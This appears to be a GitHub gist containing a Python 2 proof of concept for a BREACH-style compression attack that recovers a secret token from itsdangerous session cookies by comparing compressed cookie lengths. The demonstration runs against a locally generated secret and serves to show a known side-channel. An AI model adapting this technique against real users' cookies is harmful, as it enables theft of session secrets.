Skip to content

Instantly share code, notes, and snippets.

@public
Last active December 21, 2015 16:49
Show Gist options
  • Save public/6336458 to your computer and use it in GitHub Desktop.
Save public/6336458 to your computer and use it in GitHub Desktop.
Ghetto BREACH attack against itsdangerous cookies. This is kind of like attacking an itsdangerous cookie over a TLS connection using a stream cipher. Just uses the lengths of the cookies to determine the contents of a secret value. Things rapidly get more complicated in more realistic situations. e.g. if the cookie is more complex its hard to pi…
import os
from binascii import hexlify
import json
import itsdangerous
import random
secret = hexlify(os.urandom(160/8))
#secret = "4e0f4e0bbd859501d57460168babbe9bda0f9e77"
serializer = itsdangerous.URLSafeSerializer("SECRET")
session = {
"CHANGE": "",
"SOME JUNK": "LOL",
"TOKEN": secret
}
def make_cookie(var):
session["CHANGE"] = var
return serializer.dumps(session)
def two_tries(guess):
junk = "#~$/Z" * 11
return len(make_cookie(guess + junk)), len(make_cookie(junk + guess))
alphabet = "0123456789abcdef"
known = b'"'
# 1. JSON gives us no way to reflect the prefix of the target field.
# so we extend known to at least 3 bytes via brute force.
while len(known) < 3:
ranked = []
for c1 in alphabet:
for c2 in alphabet:
guess = known + c1 + c2
a, b = two_tries(guess)
if a == b:
ranked.append((a, guess))
ranked.sort()
known = ranked[0][1]
# 2. continue looking for more bytes!
while len(known[1:]) < 40:
data = {}
ranked = []
for c1 in alphabet:
guess = known + c1
a, b = two_tries(guess)
ranked.append(((a < b, a), guess, c1))
if not ranked:
break
ranked.sort()
known = ranked[0][1]
print "SECRET", secret
print "GUESS ", known[1:]
print known[1:] == secret
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment